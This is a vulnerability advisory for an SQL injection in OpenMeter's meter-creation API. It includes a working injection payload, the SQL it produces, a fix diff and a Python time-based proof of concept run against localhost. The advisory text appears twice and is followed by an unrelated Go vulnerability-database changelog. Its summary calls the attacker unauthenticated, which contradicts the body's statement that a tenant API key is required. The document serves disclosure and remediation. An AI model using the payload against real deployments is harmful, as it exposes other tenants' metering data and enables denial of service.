CVE-2026-8462

SQL injection in ClickHouse-backed meter definitions in OpenMeter OpenMeter before v1.0.0-beta.228 on all platforms allows a remote unauthenticated attacker to access or modify metering event data, and potentially cause denial of service, via crafted user-controlled JSONPath values submitted to meters API.

SQL injection in ClickHouse-backed meter definitions in OpenMeter OpenMeter before v1.0.0-beta.228 on all platforms allows a remote unauthenticated attacker to access or modify metering event data, and potentially cause denial of service, via crafted user-controlled JSONPath values submitted to meters API.

Summary

An authenticated tenant can inject arbitrary SQL through the valueProperty or groupBy fields of POST /api/v1/meters. The injection passes the application's JSONPath validation check and executes against the shared ClickHouse database, which contains event data for all tenants with no row-level security. Any authenticated tenant can read or write every other tenant's metering data.

Details

openmeter/streaming/clickhouse/utils_query.go:15 builds a ClickHouse SELECT by interpolating user input with fmt.Sprintf:

sb.Select(fmt.Sprintf("JSON_VALUE('{}', '%s')", sqlbuilder.Escape(d.jsonPath)))

sqlbuilder.Escape() (go-sqlbuilder v1.40.2) only replaces $ → $$ to prevent collisions with the library's own argument placeholders. It does not escape single quotes. A single quote in the input closes the string literal, and subsequent tokens execute as raw SQL. sb.Build() always returns an empty args slice — the query is never parameterized.

The payload must be prefixed with a valid JSONPath expression (e.g. $.foo) because ClickHouse raises error code 36 (BAD_ARGUMENTS) on an empty JSONPath string, which ValidateJSONPath silently treats as "invalid JSONPath" and returns early — before the injected branch can execute.

Working payload:

$.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one --

Generated SQL:

SELECT JSON_VALUE('{}', '$.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one --'

Fix — replace fmt.Sprintf string interpolation with sb.Var(), which appends the value to the builder's args list and emits a ? placeholder:

-sb.Select(fmt.Sprintf("JSON_VALUE('{}', '%s')", sqlbuilder.Escape(d.jsonPath)))
+sb.Select(fmt.Sprintf("JSON_VALUE('{}', %s)", sb.Var(d.jsonPath)))

PoC

poc.py:

import json, time, uuid
from urllib.request import Request, urlopen

SLEEP   = 3
API     = "http://localhost:48888"
PAYLOAD = f"$.foo') UNION ALL SELECT toString(sleep({SLEEP})) FROM system.one --"

def post_meter(value_property):
    body = json.dumps({
        "slug":          f"poc_{uuid.uuid4().hex[:8]}",
        "eventType":     "x",
        "aggregation":   "SUM",
        "valueProperty": value_property,
    }).encode()
    req = Request(f"{API}/api/v1/meters", data=body,
                  headers={"Content-Type": "application/json"}, method="POST")
    t0 = time.monotonic()
    with urlopen(req, timeout=SLEEP + 10) as r:
        return r.status, time.monotonic() - t0

_, baseline = post_meter("$.tokens")
status, elapsed = post_meter(PAYLOAD)

print(f"baseline : {baseline:.3f}s")
print(f"injected : {elapsed:.3f}s  (HTTP {status})")
print(f"result   : sleep({SLEEP}) {'CONFIRMED' if elapsed >= baseline + SLEEP - 0.5 else 'not confirmed'}")

docker compose up -d
until curl -sf http://localhost:48888/api/v1/meters > /dev/null; do sleep 3; done
python3 poc.py

Expected output:

baseline : 0.036s
injected : 3.031s  (HTTP 200)
result   : sleep(3) CONFIRMED

Impact

SQL injection via POST /api/v1/meters (valueProperty or groupBy). Requires a valid tenant API key; no other preconditions. The shared openmeter.om_events table has no row-level security — a successful injection gives unrestricted read access to all tenants' event subjects, types, payloads, and timestamps. Write access is subject to the ClickHouse user's grants. Denial of service via resource-exhausting queries is also possible.

Attribution

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Shoshana Makinen at Anvil Secure in collaboration with Anthropic Research.

For CVE credits and public acknowledgments: Anvil Secure in collaboration with Claude and Anthropic Research

SQL injection in ClickHouse-backed meter definitions in OpenMeter OpenMeter before v1.0.0-beta.228 on all platforms allows a remote unauthenticated attacker to access or modify metering event data, and potentially cause denial of service, via crafted user-controlled JSONPath values submitted to meters API.

SQL injection in ClickHouse-backed meter definitions in OpenMeter OpenMeter before v1.0.0-beta.228 on all platforms allows a remote unauthenticated attacker to access or modify metering event data, and potentially cause denial of service, via crafted user-controlled JSONPath values submitted to meters API.

Summary

An authenticated tenant can inject arbitrary SQL through the valueProperty or groupBy fields of POST /api/v1/meters. The injection passes the application's JSONPath validation check and executes against the shared ClickHouse database, which contains event data for all tenants with no row-level security. Any authenticated tenant can read or write every other tenant's metering data.

Details

openmeter/streaming/clickhouse/utils_query.go:15 builds a ClickHouse SELECT by interpolating user input with fmt.Sprintf:

sb.Select(fmt.Sprintf("JSON_VALUE('{}', '%s')", sqlbuilder.Escape(d.jsonPath)))

sqlbuilder.Escape() (go-sqlbuilder v1.40.2) only replaces $ → $$ to prevent collisions with the library's own argument placeholders. It does not escape single quotes. A single quote in the input closes the string literal, and subsequent tokens execute as raw SQL. sb.Build() always returns an empty args slice — the query is never parameterized.

The payload must be prefixed with a valid JSONPath expression (e.g. $.foo) because ClickHouse raises error code 36 (BAD_ARGUMENTS) on an empty JSONPath string, which ValidateJSONPath silently treats as "invalid JSONPath" and returns early — before the injected branch can execute.

Working payload:

$.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one --

Generated SQL:

SELECT JSON_VALUE('{}', '$.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one --'

Fix — replace fmt.Sprintf string interpolation with sb.Var(), which appends the value to the builder's args list and emits a ? placeholder:

-sb.Select(fmt.Sprintf("JSON_VALUE('{}', '%s')", sqlbuilder.Escape(d.jsonPath)))
+sb.Select(fmt.Sprintf("JSON_VALUE('{}', %s)", sb.Var(d.jsonPath)))

PoC

poc.py:

import json, time, uuid
from urllib.request import Request, urlopen

SLEEP   = 3
API     = "http://localhost:48888"
PAYLOAD = f"$.foo') UNION ALL SELECT toString(sleep({SLEEP})) FROM system.one --"

def post_meter(value_property):
    body = json.dumps({
        "slug":          f"poc_{uuid.uuid4().hex[:8]}",
        "eventType":     "x",
        "aggregation":   "SUM",
        "valueProperty": value_property,
    }).encode()
    req = Request(f"{API}/api/v1/meters", data=body,
                  headers={"Content-Type": "application/json"}, method="POST")
    t0 = time.monotonic()
    with urlopen(req, timeout=SLEEP + 10) as r:
        return r.status, time.monotonic() - t0

_, baseline = post_meter("$.tokens")
status, elapsed = post_meter(PAYLOAD)

print(f"baseline : {baseline:.3f}s")
print(f"injected : {elapsed:.3f}s  (HTTP {status})")
print(f"result   : sleep({SLEEP}) {'CONFIRMED' if elapsed >= baseline + SLEEP - 0.5 else 'not confirmed'}")

docker compose up -d
until curl -sf http://localhost:48888/api/v1/meters > /dev/null; do sleep 3; done
python3 poc.py

Expected output:

baseline : 0.036s
injected : 3.031s  (HTTP 200)
result   : sleep(3) CONFIRMED

Impact

SQL injection via POST /api/v1/meters (valueProperty or groupBy). Requires a valid tenant API key; no other preconditions. The shared openmeter.om_events table has no row-level security — a successful injection gives unrestricted read access to all tenants' event subjects, types, payloads, and timestamps. Write access is subject to the ClickHouse user's grants. Denial of service via resource-exhausting queries is also possible.

Attribution

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Shoshana Makinen at Anvil Secure in collaboration with Anthropic Research.

For CVE credits and public acknowledgments: Anvil Secure in collaboration with Claude and Anthropic Research

OpenMeter: SQL injection through meter creation in github.com/openmeterio/openmeter

This update for govulncheck-vulndb fixes the following issues:

• Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

• GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
• GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
• GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
• GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
• GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
• GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
• GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
• GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
• GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
• GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
• GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
• GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
• GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
• GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
• GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
• GO-2026-5933 GHSA-3g4q-2f67-2gvh
• GO-2026-5934 GHSA-59qp-cfj3-rp64
• GO-2026-5935 GHSA-7856-g3gv-9wq8
• GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
• GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
• GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
• GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
• GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
• GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
• GO-2026-5942 CVE-2026-46600
• GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
• GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
• GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
• GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
• GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
• GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
• GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
• GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
• GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
• GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
• GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
• GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
• GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
• GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
• GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
• GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
• GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
• GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
• GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
• GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
• GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
• GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
• GO-2026-5969 GHSA-g936-7jqj-mwv8
• GO-2026-5970 CVE-2026-56852
• GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
• GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
• GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
• GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
• GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
• GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
• GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
• GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
• GO-2026-5981 GHSA-mqxv-9rm6-w8qc
• GO-2026-5982 GHSA-pqg7-v6wh-3pfp
• GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
• GO-2026-5985 GHSA-7rx3-5wx3-5v76
• GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
• GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
• GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
• GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
• GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
• GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
• GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
• GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
• GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
• GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
• GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
• GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
• GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
• GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
• GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
• GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…